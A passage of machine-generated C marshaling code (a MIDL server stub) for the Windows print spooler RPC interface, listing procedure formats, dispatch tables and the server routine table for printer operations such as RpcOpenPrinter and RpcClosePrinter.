pszLocalMachine */ 2919 | &__midl_frag139, 2920 | { 2921 | /* pszLocalMachine */ 2922 | 1, 2923 | 1, 2924 | 0, 2925 | 1, 2926 | 0, 2927 | 0, 2928 | 0, 2929 | 0, 2930 | 0, 2931 | 0, 2932 | 0, 2933 | 0, 2934 | 0, 2935 | (NDR64_UINT16) 0 /* 0x0 */, 2936 | 0 2937 | }, /* MustSize, MustFree, [in] */ 2938 | (NDR64_UINT16) 0 /* 0x0 */, 2939 | 24 /* 0x18 */, /* Stack offset */ 2940 | }, 2941 | { 2942 | /* dwPrinterLocal */ /* parameter dwPrinterLocal */ 2943 | &__midl_frag153, 2944 | { 2945 | /* dwPrinterLocal */ 2946 | 0, 2947 | 0, 2948 | 0, 2949 | 1, 2950 | 0, 2951 | 0, 2952 | 1, 2953 | 1, 2954 | 0, 2955 | 0, 2956 | 0, 2957 | 0, 2958 | 0, 2959 | (NDR64_UINT16) 0 /* 0x0 */, 2960 | 0 2961 | }, /* [in], Basetype, ByValue */ 2962 | (NDR64_UINT16) 0 /* 0x0 */, 2963 | 32 /* 0x20 */, /* Stack offset */ 2964 | }, 2965 | { 2966 | /* pOptions */ /* parameter pOptions */ 2967 | &__midl_frag142, 2968 | { 2969 | /* pOptions */ 2970 | 1, 2971 | 1, 2972 | 0, 2973 | 1, 2974 | 0, 2975 | 0, 2976 | 0, 2977 | 0, 2978 | 0, 2979 | 0, 2980 | 0, 2981 | 0, 2982 | 0, 2983 | (NDR64_UINT16) 0 /* 0x0 */, 2984 | 0 2985 | }, /* MustSize, MustFree, [in] */ 2986 | (NDR64_UINT16) 0 /* 0x0 */, 2987 | 40 /* 0x28 */, /* Stack offset */ 2988 | }, 2989 | { 2990 | /* DWORD */ /* parameter DWORD */ 2991 | &__midl_frag153, 2992 | { 2993 | /* DWORD */ 2994 | 0, 2995 | 0, 2996 | 0, 2997 | 0, 2998 | 1, 2999 | 1, 3000 | 1, 3001 | 1, 3002 | 0, 3003 | 0, 3004 | 0, 3005 | 0, 3006 | 0, 3007 | (NDR64_UINT16) 0 /* 0x0 */, 3008 | 0 3009 | }, /* [out], IsReturn, Basetype, ByValue */ 3010 | (NDR64_UINT16) 0 /* 0x0 */, 3011 | 48 /* 0x30 */, /* Stack offset */ 3012 | } 3013 | }; 3014 | 3015 | static const __midl_frag134_t __midl_frag134 = 3016 | { 3017 | /* Opnum64NotUsedOnWire */ 3018 | { 3019 | /* Opnum64NotUsedOnWire */ /* procedure Opnum64NotUsedOnWire */ 3020 | (NDR64_UINT32) 16777280 /* 0x1000040 */, /* explicit handle */ /* IsIntrepreted, HasExtensions */ 3021 | (NDR64_UINT32) 8 /* 0x8 */ , /* Stack size */ 3022 | (NDR64_UINT32) 0 /* 0x0 */, 3023 | (NDR64_UINT32) 0 /* 0x0 */, 3024 | (NDR64_UINT16) 0 /* 0x0 */, 3025 | (NDR64_UINT16) 0 /* 0x0 */, 3026 | (NDR64_UINT16) 0 /* 0x0 */, 3027 | (NDR64_UINT16) 8 /* 0x8 */ 3028 | }, 3029 | { 3030 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3031 | { 3032 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3033 | 0x72, /* FC64_BIND_PRIMITIVE */ 3034 | (NDR64_UINT8) 0 /* 0x0 */, 3035 | 0 /* 0x0 */, /* Stack offset */ 3036 | (NDR64_UINT8) 0 /* 0x0 */, 3037 | (NDR64_UINT8) 0 /* 0x0 */ 3038 | }, 3039 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 3040 | } 3041 | }; 3042 | 3043 | static const __midl_frag131_t __midl_frag131 = 3044 | { 3045 | /* RpcRemoteFindFirstPrinterChangeNotification */ 3046 | { 3047 | /* RpcRemoteFindFirstPrinterChangeNotification */ /* procedure RpcRemoteFindFirstPrinterChangeNotification */ 3048 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ 3049 | (NDR64_UINT32) 16 /* 0x10 */ , /* Stack size */ 3050 | (NDR64_UINT32) 0 /* 0x0 */, 3051 | (NDR64_UINT32) 8 /* 0x8 */, 3052 | (NDR64_UINT16) 0 /* 0x0 */, 3053 | (NDR64_UINT16) 0 /* 0x0 */, 3054 | (NDR64_UINT16) 1 /* 0x1 */, 3055 | (NDR64_UINT16) 8 /* 0x8 */ 3056 | }, 3057 | { 3058 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3059 | { 3060 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3061 | 0x72, /* FC64_BIND_PRIMITIVE */ 3062 | (NDR64_UINT8) 0 /* 0x0 */, 3063 | 0 /* 0x0 */, /* Stack offset */ 3064 | (NDR64_UINT8) 0 /* 0x0 */, 3065 | (NDR64_UINT8) 0 /* 0x0 */ 3066 | }, 3067 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 3068 | }, 3069 | { 3070 | /* DWORD */ /* parameter DWORD */ 3071 | &__midl_frag153, 3072 | { 3073 | /* DWORD */ 3074 | 0, 3075 | 0, 3076 | 0, 3077 | 0, 3078 | 1, 3079 | 1, 3080 | 1, 3081 | 1, 3082 | 0, 3083 | 0, 3084 | 0, 3085 | 0, 3086 | 0, 3087 | (NDR64_UINT16) 0 /* 0x0 */, 3088 | 0 3089 | }, /* [out], IsReturn, Basetype, ByValue */ 3090 | (NDR64_UINT16) 0 /* 0x0 */, 3091 | 8 /* 0x8 */, /* Stack offset */ 3092 | } 3093 | }; 3094 | 3095 | static const __midl_frag75_t __midl_frag75 = 3096 | { 3097 | /* struct _NDR64_CONTEXT_HANDLE_FORMAT */ 3098 | 0x70, /* FC64_BIND_CONTEXT */ 3099 | (NDR64_UINT8) 225 /* 0xe1 */, 3100 | (NDR64_UINT8) 0 /* 0x0 */, 3101 | (NDR64_UINT8) 1 /* 0x1 */ 3102 | }; 3103 | 3104 | static const __midl_frag74_t __midl_frag74 = 3105 | { 3106 | /* *struct _NDR64_POINTER_FORMAT */ 3107 | 0x20, /* FC64_RP */ 3108 | (NDR64_UINT8) 4 /* 0x4 */, 3109 | (NDR64_UINT16) 0 /* 0x0 */, 3110 | &__midl_frag75 3111 | }; 3112 | 3113 | static const __midl_frag73_t __midl_frag73 = 3114 | { 3115 | /* RpcClosePrinter */ 3116 | { 3117 | /* RpcClosePrinter */ /* procedure RpcClosePrinter */ 3118 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ 3119 | (NDR64_UINT32) 16 /* 0x10 */ , /* Stack size */ 3120 | (NDR64_UINT32) 60 /* 0x3c */, 3121 | (NDR64_UINT32) 68 /* 0x44 */, 3122 | (NDR64_UINT16) 0 /* 0x0 */, 3123 | (NDR64_UINT16) 0 /* 0x0 */, 3124 | (NDR64_UINT16) 2 /* 0x2 */, 3125 | (NDR64_UINT16) 8 /* 0x8 */ 3126 | }, 3127 | { 3128 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3129 | { 3130 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3131 | 0x70, /* FC64_BIND_CONTEXT */ 3132 | (NDR64_UINT8) 224 /* 0xe0 */, 3133 | 0 /* 0x0 */, /* Stack offset */ 3134 | (NDR64_UINT8) 0 /* 0x0 */, 3135 | (NDR64_UINT8) 0 /* 0x0 */ 3136 | }, 3137 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 3138 | }, 3139 | { 3140 | /* phPrinter */ /* parameter phPrinter */ 3141 | &__midl_frag75, 3142 | { 3143 | /* phPrinter */ 3144 | 0, 3145 | 0, 3146 | 0, 3147 | 1, 3148 | 1, 3149 | 0, 3150 | 0, 3151 | 0, 3152 | 1, 3153 | 0, 3154 | 0, 3155 | 0, 3156 | 0, 3157 | (NDR64_UINT16) 0 /* 0x0 */, 3158 | 0 3159 | }, /* [in], [out], SimpleRef */ 3160 | (NDR64_UINT16) 0 /* 0x0 */, 3161 | 0 /* 0x0 */, /* Stack offset */ 3162 | }, 3163 | { 3164 | /* DWORD */ /* parameter DWORD */ 3165 | &__midl_frag153, 3166 | { 3167 | /* DWORD */ 3168 | 0, 3169 | 0, 3170 | 0, 3171 | 0, 3172 | 1, 3173 | 1, 3174 | 1, 3175 | 1, 3176 | 0, 3177 | 0, 3178 | 0, 3179 | 0, 3180 | 0, 3181 | (NDR64_UINT16) 0 /* 0x0 */, 3182 | 0 3183 | }, /* [out], IsReturn, Basetype, ByValue */ 3184 | (NDR64_UINT16) 0 /* 0x0 */, 3185 | 8 /* 0x8 */, /* Stack offset */ 3186 | } 3187 | }; 3188 | 3189 | static const __midl_frag16_t __midl_frag16 = 3190 | { 3191 | /* */ 3192 | { 3193 | /* *BYTE */ 3194 | 0x21, /* FC64_UP */ 3195 | (NDR64_UINT8) 32 /* 0x20 */, 3196 | (NDR64_UINT16) 0 /* 0x0 */, 3197 | &__midl_frag13 3198 | } 3199 | }; 3200 | 3201 | static const __midl_frag15_t __midl_frag15 = 3202 | 0x2 /* FC64_INT8 */; 3203 | 3204 | static const __midl_frag14_t __midl_frag14 = 3205 | { 3206 | /* */ 3207 | (NDR64_UINT32) 1 /* 0x1 */, 3208 | { 3209 | /* struct _NDR64_EXPR_VAR */ 3210 | 0x3, /* FC_EXPR_VAR */ 3211 | 0x6, /* FC64_UINT32 */ 3212 | (NDR64_UINT16) 0 /* 0x0 */, 3213 | (NDR64_UINT32) 0 /* 0x0 */ 3214 | } 3215 | }; 3216 | 3217 | static const __midl_frag13_t __midl_frag13 = 3218 | { 3219 | /* *BYTE */ 3220 | { 3221 | /* *BYTE */ 3222 | 0x41, /* FC64_CONF_ARRAY */ 3223 | (NDR64_UINT8) 0 /* 0x0 */, 3224 | { 3225 | /* *BYTE */ 3226 | 0, 3227 | 0, 3228 | 0, 3229 | 0, 3230 | 0, 3231 | 0, 3232 | 0, 3233 | 0 3234 | }, 3235 | (NDR64_UINT8) 0 /* 0x0 */, 3236 | (NDR64_UINT32) 1 /* 0x1 */, 3237 | &__midl_frag14 3238 | }, 3239 | { 3240 | /* struct _NDR64_ARRAY_ELEMENT_INFO */ 3241 | (NDR64_UINT32) 1 /* 0x1 */, 3242 | &__midl_frag15 3243 | } 3244 | }; 3245 | 3246 | static const __midl_frag12_t __midl_frag12 = 3247 | { 3248 | /* DEVMODE_CONTAINER */ 3249 | { 3250 | /* DEVMODE_CONTAINER */ 3251 | 0x35, /* FC64_FORCED_BOGUS_STRUCT */ 3252 | (NDR64_UINT8) 7 /* 0x7 */, 3253 | { 3254 | /* DEVMODE_CONTAINER */ 3255 | 1, 3256 | 1, 3257 | 0, 3258 | 0, 3259 | 0, 3260 | 0, 3261 | 0, 3262 | 0 3263 | }, 3264 | (NDR64_UINT8) 0 /* 0x0 */, 3265 | (NDR64_UINT32) 16 /* 0x10 */, 3266 | 0, 3267 | 0, 3268 | &__midl_frag16, 3269 | }, 3270 | { 3271 | /* */ 3272 | { 3273 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 3274 | 0x5, /* FC64_INT32 */ 3275 | (NDR64_UINT8) 0 /* 0x0 */, 3276 | (NDR64_UINT16) 0 /* 0x0 */, 3277 | (NDR64_UINT32) 0 /* 0x0 */ 3278 | }, 3279 | { 3280 | /* struct _NDR64_MEMPAD_FORMAT */ 3281 | 0x90, /* FC64_STRUCTPADN */ 3282 | (NDR64_UINT8) 0 /* 0x0 */, 3283 | (NDR64_UINT16) 4 /* 0x4 */, 3284 | (NDR64_UINT32) 0 /* 0x0 */ 3285 | }, 3286 | { 3287 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 3288 | 0x14, /* FC64_POINTER */ 3289 | (NDR64_UINT8) 0 /* 0x0 */, 3290 | (NDR64_UINT16) 0 /* 0x0 */, 3291 | (NDR64_UINT32) 0 /* 0x0 */ 3292 | }, 3293 | { 3294 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 3295 | 0x93, /* FC64_END */ 3296 | (NDR64_UINT8) 0 /* 0x0 */, 3297 | (NDR64_UINT16) 0 /* 0x0 */, 3298 | (NDR64_UINT32) 0 /* 0x0 */ 3299 | } 3300 | } 3301 | }; 3302 | 3303 | static const __midl_frag11_t __midl_frag11 = 3304 | { 3305 | /* *DEVMODE_CONTAINER */ 3306 | 0x20, /* FC64_RP */ 3307 | (NDR64_UINT8) 0 /* 0x0 */, 3308 | (NDR64_UINT16) 0 /* 0x0 */, 3309 | &__midl_frag12 3310 | }; 3311 | 3312 | static const __midl_frag8_t __midl_frag8 = 3313 | { 3314 | /* struct _NDR64_CONTEXT_HANDLE_FORMAT */ 3315 | 0x70, /* FC64_BIND_CONTEXT */ 3316 | (NDR64_UINT8) 160 /* 0xa0 */, 3317 | (NDR64_UINT8) 0 /* 0x0 */, 3318 | (NDR64_UINT8) 1 /* 0x1 */ 3319 | }; 3320 | 3321 | static const __midl_frag7_t __midl_frag7 = 3322 | { 3323 | /* *struct _NDR64_POINTER_FORMAT */ 3324 | 0x20, /* FC64_RP */ 3325 | (NDR64_UINT8) 4 /* 0x4 */, 3326 | (NDR64_UINT16) 0 /* 0x0 */, 3327 | &__midl_frag8 3328 | }; 3329 | 3330 | static const __midl_frag4_t __midl_frag4 = 3331 | { 3332 | /* RpcOpenPrinter */ 3333 | { 3334 | /* RpcOpenPrinter */ /* procedure RpcOpenPrinter */ 3335 | (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ 3336 | (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ 3337 | (NDR64_UINT32) 8 /* 0x8 */, 3338 | (NDR64_UINT32) 68 /* 0x44 */, 3339 | (NDR64_UINT16) 0 /* 0x0 */, 3340 | (NDR64_UINT16) 0 /* 0x0 */, 3341 | (NDR64_UINT16) 6 /* 0x6 */, 3342 | (NDR64_UINT16) 8 /* 0x8 */ 3343 | }, 3344 | { 3345 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3346 | { 3347 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3348 | 0x71, /* FC64_BIND_GENERIC */ 3349 | (NDR64_UINT8) 0 /* 0x0 */, 3350 | 0 /* 0x0 */, /* Stack offset */ 3351 | (NDR64_UINT8) 0 /* 0x0 */, 3352 | (NDR64_UINT8) 8 /* 0x8 */ 3353 | }, 3354 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 3355 | }, 3356 | { 3357 | /* pPrinterName */ /* parameter pPrinterName */ 3358 | &__midl_frag139, 3359 | { 3360 | /* pPrinterName */ 3361 | 1, 3362 | 1, 3363 | 0, 3364 | 1, 3365 | 0, 3366 | 0, 3367 | 0, 3368 | 0, 3369 | 0, 3370 | 0, 3371 | 0, 3372 | 0, 3373 | 0, 3374 | (NDR64_UINT16) 0 /* 0x0 */, 3375 | 0 3376 | }, /* MustSize, MustFree, [in] */ 3377 | (NDR64_UINT16) 0 /* 0x0 */, 3378 | 0 /* 0x0 */, /* Stack offset */ 3379 | }, 3380 | { 3381 | /* pHandle */ /* parameter pHandle */ 3382 | &__midl_frag8, 3383 | { 3384 | /* pHandle */ 3385 | 0, 3386 | 0, 3387 | 0, 3388 | 0, 3389 | 1, 3390 | 0, 3391 | 0, 3392 | 0, 3393 | 1, 3394 | 0, 3395 | 0, 3396 | 0, 3397 | 0, 3398 | (NDR64_UINT16) 0 /* 0x0 */, 3399 | 0 3400 | }, /* [out], SimpleRef */ 3401 | (NDR64_UINT16) 0 /* 0x0 */, 3402 | 8 /* 0x8 */, /* Stack offset */ 3403 | }, 3404 | { 3405 | /* pDatatype */ /* parameter pDatatype */ 3406 | &__midl_frag139, 3407 | { 3408 | /* pDatatype */ 3409 | 1, 3410 | 1, 3411 | 0, 3412 | 1, 3413 | 0, 3414 | 0, 3415 | 0, 3416 | 0, 3417 | 0, 3418 | 0, 3419 | 0, 3420 | 0, 3421 | 0, 3422 | (NDR64_UINT16) 0 /* 0x0 */, 3423 | 0 3424 | }, /* MustSize, MustFree, [in] */ 3425 | (NDR64_UINT16) 0 /* 0x0 */, 3426 | 16 /* 0x10 */, /* Stack offset */ 3427 | }, 3428 | { 3429 | /* pDevModeContainer */ /* parameter pDevModeContainer */ 3430 | &__midl_frag12, 3431 | { 3432 | /* pDevModeContainer */ 3433 | 1, 3434 | 1, 3435 | 0, 3436 | 1, 3437 | 0, 3438 | 0, 3439 | 0, 3440 | 0, 3441 | 1, 3442 | 0, 3443 | 0, 3444 | 0, 3445 | 0, 3446 | (NDR64_UINT16) 0 /* 0x0 */, 3447 | 0 3448 | }, /* MustSize, MustFree, [in], SimpleRef */ 3449 | (NDR64_UINT16) 0 /* 0x0 */, 3450 | 24 /* 0x18 */, /* Stack offset */ 3451 | }, 3452 | { 3453 | /* AccessRequired */ /* parameter AccessRequired */ 3454 | &__midl_frag153, 3455 | { 3456 | /* AccessRequired */ 3457 | 0, 3458 | 0, 3459 | 0, 3460 | 1, 3461 | 0, 3462 | 0, 3463 | 1, 3464 | 1, 3465 | 0, 3466 | 0, 3467 | 0, 3468 | 0, 3469 | 0, 3470 | (NDR64_UINT16) 0 /* 0x0 */, 3471 | 0 3472 | }, /* [in], Basetype, ByValue */ 3473 | (NDR64_UINT16) 0 /* 0x0 */, 3474 | 32 /* 0x20 */, /* Stack offset */ 3475 | }, 3476 | { 3477 | /* DWORD */ /* parameter DWORD */ 3478 | &__midl_frag153, 3479 | { 3480 | /* DWORD */ 3481 | 0, 3482 | 0, 3483 | 0, 3484 | 0, 3485 | 1, 3486 | 1, 3487 | 1, 3488 | 1, 3489 | 0, 3490 | 0, 3491 | 0, 3492 | 0, 3493 | 0, 3494 | (NDR64_UINT16) 0 /* 0x0 */, 3495 | 0 3496 | }, /* [out], IsReturn, Basetype, ByValue */ 3497 | (NDR64_UINT16) 0 /* 0x0 */, 3498 | 40 /* 0x28 */, /* Stack offset */ 3499 | } 3500 | }; 3501 | 3502 | static const __midl_frag1_t __midl_frag1 = 3503 | (NDR64_UINT32) 0 /* 0x0 */; 3504 | 3505 | 3506 | #include "poppack.h" 3507 | 3508 | 3509 | static const FormatInfoRef winspool_Ndr64ProcTable[] = 3510 | { 3511 | &__midl_frag131, 3512 | &__midl_frag4, 3513 | &__midl_frag131, 3514 | &__midl_frag131, 3515 | &__midl_frag131, 3516 | &__midl_frag131, 3517 | &__midl_frag131, 3518 | &__midl_frag131, 3519 | &__midl_frag131, 3520 | &__midl_frag131, 3521 | &__midl_frag131, 3522 | &__midl_frag131, 3523 | &__midl_frag131, 3524 | &__midl_frag131, 3525 | &__midl_frag131, 3526 | &__midl_frag131, 3527 | &__midl_frag131, 3528 | &__midl_frag131, 3529 | &__midl_frag131, 3530 | &__midl_frag131, 3531 | &__midl_frag131, 3532 | &__midl_frag131, 3533 | &__midl_frag131, 3534 | &__midl_frag131, 3535 | &__midl_frag131, 3536 | &__midl_frag131, 3537 | &__midl_frag131, 3538 | &__midl_frag131, 3539 | &__midl_frag131, 3540 | &__midl_frag73, 3541 | &__midl_frag131, 3542 | &__midl_frag131, 3543 | &__midl_frag131, 3544 | &__midl_frag131, 3545 | &__midl_frag131, 3546 | &__midl_frag131, 3547 | &__midl_frag131, 3548 | &__midl_frag134, 3549 | &__midl_frag134, 3550 | &__midl_frag131, 3551 | &__midl_frag131, 3552 | &__midl_frag131, 3553 | &__midl_frag131, 3554 | &__midl_frag134, 3555 | &__midl_frag134, 3556 | &__midl_frag134, 3557 | &__midl_frag131, 3558 | &__midl_frag131, 3559 | &__midl_frag131, 3560 | &__midl_frag134, 3561 | &__midl_frag134, 3562 | &__midl_frag131, 3563 | &__midl_frag131, 3564 | &__midl_frag131, 3565 | &__midl_frag134, 3566 | &__midl_frag134, 3567 | &__midl_frag131, 3568 | &__midl_frag134, 3569 | &__midl_frag131, 3570 | &__midl_frag131, 3571 | &__midl_frag131, 3572 | &__midl_frag131, 3573 | &__midl_frag131, 3574 | &__midl_frag134, 3575 | &__midl_frag134, 3576 | &__midl_frag135 3577 | }; 3578 | 3579 | 3580 | static const MIDL_STUB_DESC winspool_StubDesc = 3581 | { 3582 | (void *)& winspool___RpcServerInterface, 3583 | MIDL_user_allocate, 3584 | MIDL_user_free, 3585 | 0, 3586 | RundownRoutines, 3587 | 0, 3588 | 0, 3589 | 0, 3590 | ms2Drprn__MIDL_TypeFormatString.Format, 3591 | 1, /* -error bounds_check flag */ 3592 | 0x60001, /* Ndr library version */ 3593 | 0, 3594 | 0x801026e, /* MIDL Version 8.1.622 */ 3595 | 0, 3596 | 0, 3597 | 0, /* notify & notify_flag routine table */ 3598 | 0x2000001, /* MIDL flag */ 3599 | 0, /* cs routines */ 3600 | (void *)& winspool_ServerInfo, /* proxy/server info */ 3601 | 0 3602 | }; 3603 | 3604 | static const RPC_DISPATCH_FUNCTION winspool_NDR64__table[] = 3605 | { 3606 | NdrServerCallAll, 3607 | NdrServerCallAll, 3608 | NdrServerCallAll, 3609 | NdrServerCallAll, 3610 | NdrServerCallAll, 3611 | NdrServerCallAll, 3612 | NdrServerCallAll, 3613 | NdrServerCallAll, 3614 | NdrServerCallAll, 3615 | NdrServerCallAll, 3616 | NdrServerCallAll, 3617 | NdrServerCallAll, 3618 | NdrServerCallAll, 3619 | NdrServerCallAll, 3620 | NdrServerCallAll, 3621 | NdrServerCallAll, 3622 | NdrServerCallAll, 3623 | NdrServerCallAll, 3624 | NdrServerCallAll, 3625 | NdrServerCallAll, 3626 | NdrServerCallAll, 3627 | NdrServerCallAll, 3628 | NdrServerCallAll, 3629 | NdrServerCallAll, 3630 | NdrServerCallAll, 3631 | NdrServerCallAll, 3632 | NdrServerCallAll, 3633 | NdrServerCallAll, 3634 | NdrServerCallAll, 3635 | NdrServerCallAll, 3636 | NdrServerCallAll, 3637 | NdrServerCallAll, 3638 | NdrServerCallAll, 3639 | NdrServerCallAll, 3640 | NdrServerCallAll, 3641 | NdrServerCallAll, 3642 | NdrServerCallAll, 3643 | NdrServerCallAll, 3644 | NdrServerCallAll, 3645 | NdrServerCallAll, 3646 | NdrServerCallAll, 3647 | NdrServerCallAll, 3648 | NdrServerCallAll, 3649 | NdrServerCallAll, 3650 | NdrServerCallAll, 3651 | NdrServerCallAll, 3652 | NdrServerCallAll, 3653 | NdrServerCallAll, 3654 | NdrServerCallAll, 3655 | NdrServerCallAll, 3656 | NdrServerCallAll, 3657 | NdrServerCallAll, 3658 | NdrServerCallAll, 3659 | NdrServerCallAll, 3660 | NdrServerCallAll, 3661 | NdrServerCallAll, 3662 | NdrServerCallAll, 3663 | NdrServerCallAll, 3664 | NdrServerCallAll, 3665 | NdrServerCallAll, 3666 | NdrServerCallAll, 3667 | NdrServerCallAll, 3668 | NdrServerCallAll, 3669 | NdrServerCallAll, 3670 | NdrServerCallAll, 3671 | NdrServerCallAll, 3672 | 0 3673 | }; 3674 | static const RPC_DISPATCH_TABLE winspool_NDR64__v1_0_DispatchTable = 3675 | { 3676 | 66, 3677 | (RPC_DISPATCH_FUNCTION*)winspool_NDR64__table 3678 | }; 3679 | 3680 | static const MIDL_SYNTAX_INFO winspool_SyntaxInfo [ 2 ] = 3681 | { 3682 | { 3683 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}, 3684 | (RPC_DISPATCH_TABLE*)&winspool_v1_0_DispatchTable, 3685 | ms2Drprn__MIDL_ProcFormatString.Format, 3686 | winspool_FormatStringOffsetTable, 3687 | ms2Drprn__MIDL_TypeFormatString.Format, 3688 | 0, 3689 | 0, 3690 | 0 3691 | } 3692 | ,{ 3693 | {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}}, 3694 | (RPC_DISPATCH_TABLE*)&winspool_NDR64__v1_0_DispatchTable, 3695 | 0 , 3696 | (unsigned short *) winspool_Ndr64ProcTable, 3697 | 0, 3698 | 0, 3699 | 0, 3700 | 0 3701 | } 3702 | }; 3703 | 3704 | 3705 | static const SERVER_ROUTINE winspool_ServerRoutineTable[] = 3706 | { 3707 | (SERVER_ROUTINE)RpcEnumPrinters, 3708 | (SERVER_ROUTINE)RpcOpenPrinter, 3709 | (SERVER_ROUTINE)RpcSetJob, 3710 | (SERVER_ROUTINE)RpcGetJob, 3711 | (SERVER_ROUTINE)RpcEnumJobs, 3712 | (SERVER_ROUTINE)RpcAddPrinter, 3713 | (SERVER_ROUTINE)RpcDeletePrinter, 3714 | (SERVER_ROUTINE)RpcSetPrinter, 3715 | (SERVER_ROUTINE)RpcGetPrinter, 3716 | (SERVER_ROUTINE)RpcAddPrinterDriver, 3717 | (SERVER_ROUTINE)RpcEnumPrinterDrivers, 3718 | (SERVER_ROUTINE)RpcGetPrinterDriver, 3719 | (SERVER_ROUTINE)RpcGetPrinterDriverDirectory, 3720 | (SERVER_ROUTINE)RpcDeletePrinterDriver, 3721 | (SERVER_ROUTINE)RpcAddPrintProcessor, 3722 | (SERVER_ROUTINE)RpcEnumPrintProcessors, 3723 | (SERVER_ROUTINE)RpcGetPrintProcessorDirectory, 3724 | (SERVER_ROUTINE)RpcStartDocPrinter, 3725 | (SERVER_ROUTINE)RpcStartPagePrinter, 3726 | (SERVER_ROUTINE)RpcWritePrinter, 3727 | (SERVER_ROUTINE)RpcEndPagePrinter, 3728 | (SERVER_ROUTINE)RpcAbortPrinter, 3729 | (SERVER_ROUTINE)RpcReadPrinter, 3730 | (SERVER_ROUTINE)RpcEndDocPrinter, 3731 | (SERVER_ROUTINE)RpcAddJob, 3732 | (SERVER_ROUTINE)RpcScheduleJob, 3733 | (SERVER_ROUTINE)RpcGetPrinterData, 3734 | (SERVER_ROUTINE)RpcSetPrinterData, 3735 | (SERVER_ROUTINE)RpcWaitForPrinterChange, 3736 | (SERVER_ROUTINE)RpcClosePrinter, 3737 | (SERVER_ROUTINE)RpcAddForm, 3738 | (SERVER_ROUTINE)RpcDeleteForm, 3739 | (SERVER_ROUTINE)RpcGetForm, 3740 | (SERVER_ROUTINE)RpcSetForm, 3741 | (SERVER_ROUTINE)RpcEnumForms, 3742 | (SERVER_ROUTINE)RpcEnumPorts, 3743 | (SERVER_ROUTINE)RpcEnumMonitors, 3744 | (SERVER_ROUTINE)Opnum37NotUsedOnWire, 3745 | (SERVER_ROUTINE)Opnum38NotUsedOnWire, 3746 | (SERVER_ROUTINE)RpcDeletePort, 3747 | (SERVER_ROUTINE)RpcCreatePrinterIC, 3748 | (SERVER_ROUTINE)RpcPlayGdiScriptOnPrinterIC, 3749 | (SERVER_ROUTINE)RpcDeletePrinterIC, 3750 | (SERVER_ROUTINE)Opnum43NotUsedOnWire, 3751 | (SERVER_ROUTINE)Opnum44NotUsedOnWire, 3752 | (SERVER_ROUTINE)Opnum45NotUsedOnWire, 3753 | (SERVER_ROUTINE)RpcAddMonitor, 3754 | (SERVER_ROUTINE)RpcDeleteMonitor, 3755 | (SERVER_ROUTINE)RpcDeletePrintProcessor, 3756 | (SERVER_ROUTINE)Opnum49NotUsedOnWire, 3757 | (SERVER_ROUTINE)Opnum50NotUsedOnWire, 3758 | (SERVER_ROUTINE)RpcEnumPrintProcessorDatatypes, 3759 | (SERVER_ROUTINE)RpcResetPrinter, 3760 | (SERVER_ROUTINE)RpcGetPrinterDriver2, 3761 | (SERVER_ROUTINE)Opnum54NotUsedOnWire, 3762 | (SERVER_ROUTINE)Opnum55NotUsedOnWire, 3763 | (SERVER_ROUTINE)RpcFindClosePrinterChangeNotification, 3764 | (SERVER_ROUTINE)Opnum57NotUsedOnWire, 3765 | (SERVER_ROUTINE)RpcReplyOpenPrinter, 3766 | (SERVER_ROUTINE)RpcRouterReplyPrinter, 3767 | (SERVER_ROUTINE)RpcReplyClosePrinter, 3768 | (SERVER_ROUTINE)RpcAddPortEx, 3769 | (SERVER_ROUTINE)RpcRemoteFindFirstPrinterChangeNotification, 3770 | (SERVER_ROUTINE)Opnum63NotUsedOnWire, 3771 | (SERVER_ROUTINE)Opnum64NotUsedOnWire, 3772 | (SERVER_ROUTINE)RpcRemoteFindFirstPrinterChangeNotificationEx 3773 | }; 3774 | 3775 | static const MIDL_SERVER_INFO winspool_ServerInfo = 3776 | { 3777 | &winspool_StubDesc, 3778 | winspool_ServerRoutineTable, 3779 | ms2Drprn__MIDL_ProcFormatString.Format, 3780 | (unsigned short *) winspool_FormatStringOffsetTable, 3781 | 0, 3782 | (RPC_SYNTAX_IDENTIFIER*)&_NDR64_RpcTransferSyntax, 3783 | 2, 3784 | (MIDL_SYNTAX_INFO*)winspool_SyntaxInfo 3785 | }; 3786 | #if _MSC_VER >= 1200 3787 | #pragma warning(pop) 3788 | #endif 3789 | 3790 | 3791 | #endif /* defined(_M_AMD64)*/ 3792 | 3793 | --------------------------------------------------------------------------------